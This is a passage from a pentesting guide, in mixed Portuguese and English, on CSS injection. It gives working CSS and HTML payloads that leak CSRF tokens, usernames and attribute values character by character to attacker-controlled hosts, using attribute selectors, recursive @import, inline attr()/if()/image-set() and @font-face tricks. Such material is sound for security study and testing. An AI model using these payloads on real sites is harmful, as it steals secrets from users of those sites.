30 KiB
CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
CSS Injection
Seletor de Atributo
Seletores CSS são criados para corresponder aos valores dos atributos name
e value
de um elemento input
. Se o atributo value
do elemento input
começar com um caractere específico, um recurso externo predefinido é carregado:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (type="hidden"
), pois elementos ocultos não carregam imagens de fundo.
Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais ~
. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Um exemplo prático de exploração dessa técnica está detalhado no snippet de código fornecido. Você pode visualizá-lo aqui.
Pré-requisitos para CSS Injection
Para que a técnica CSS Injection seja eficaz, certas condições devem ser atendidas:
- Payload Length: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.
- CSS Re-evaluation: Você deve ter a capacidade de embeber a página em um frame/iframe, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
- External Resources: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site.
Blind Attribute Selector
Como explicado neste post, é possível combinar os seletores :has
e :not
para identificar conteúdo mesmo de elementos 'blind'. Isso é muito útil quando você não tem ideia do que há dentro da página web que está carregando a CSS Injection.
Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinando isso com a seguinte técnica @import, é possível exfiltrar muita informação usando CSS injection a partir de páginas blind com blind-css-exfiltration.
@import
A técnica anterior tem algumas desvantagens, confira os pré-requisitos. Você precisa ser capaz de enviar múltiplos links para a vítima, ou precisa ser capaz de iframe a página vulnerável a CSS injection.
No entanto, existe outra técnica inteligente que usa CSS @import
para melhorar a qualidade da técnica.
Isto foi mostrado pela primeira vez por Pepe Vila e funciona assim:
Em vez de carregar a mesma página repetidas vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos carregar a página apenas uma vez e apenas com um import para o servidor do atacante (este é o payload a enviar para a vítima):
@import url("//attacker.com:5001/start?");
- O import vai receber some CSS script dos atacantes e o browser will load it.
- A primeira parte do CSS script que o atacante irá enviar é another
@import
to the attackers server again. - O attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
- A segunda e maior parte do payload é going to be an attribute selector leakage payload
- This will send to the attackers server the first char of the secret and the last one
- Uma vez que o attackers server has received the first and last char of the secret, ele irá respond the import requested in the step 2.
- The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.
O atacante irá seguir esse loop até conseguir leak completamente o segredo.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
Tip
O script tentará descobrir 2 chars cada vez (do começo e do fim) porque o attribute selector allows to do things like:
/* value^= to match the beggining of the value*/ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); } /* value$= to match the ending of the value*/ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }
This allows the script to leak the secret faster.
Warning
Às vezes o script não detecta corretamente que o prefix + suffix discovered is already the complete flag e ele continuará forwards (no prefix) e backwards (no suffix) e em algum ponto irá hang.
Sem problemas, apenas verifique a output porque você pode ver a flag lá.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
Comparisons de igualdade em if() requerem aspas duplas para literais de string. Aspas simples não irão corresponder.
- Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes).
- Read: copiar o atributo para uma variável CSS:
--val: attr(title)
. - Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: aplicar
background: image-set(var(--steal))
(ou qualquer fetching property) para forçar uma requisição ao endpoint escolhido.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload funcional (aspas duplas obrigatórias na comparação):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerando valores de atributos com condicionais aninhados:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demonstração realista (sondando nomes de usuário):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notas e limitações:
- Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
- Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, nomes de usuário curtos). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador.
- Qualquer propriedade CSS que busque uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).
Automação: uma Burp Custom Action pode gerar payloads inline-style aninhados para brute-forcear valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Outros seletores
Outras formas de acessar partes do DOM com CSS selectors:
.class-to-search:nth-child(2)
: Isso irá procurar o segundo item com a classe "class-to-search" no DOM.:empty
selector: Used for example in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Referência: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
A intenção geral é usar uma fonte customizada de um endpoint controlado e garantir que o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (favicon.ico
) não puder ser carregado.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso de Fonte Personalizada:
- Uma fonte personalizada é definida usando a regra
@font-face
dentro de uma tag<style>
na seção<head>
. - A fonte é chamada
poc
e é buscada de um endpoint externo (http://attacker.com/?leak
). - A propriedade
unicode-range
é definida comoU+0041
, direcionando o caractere Unicode específico 'A'.
- Elemento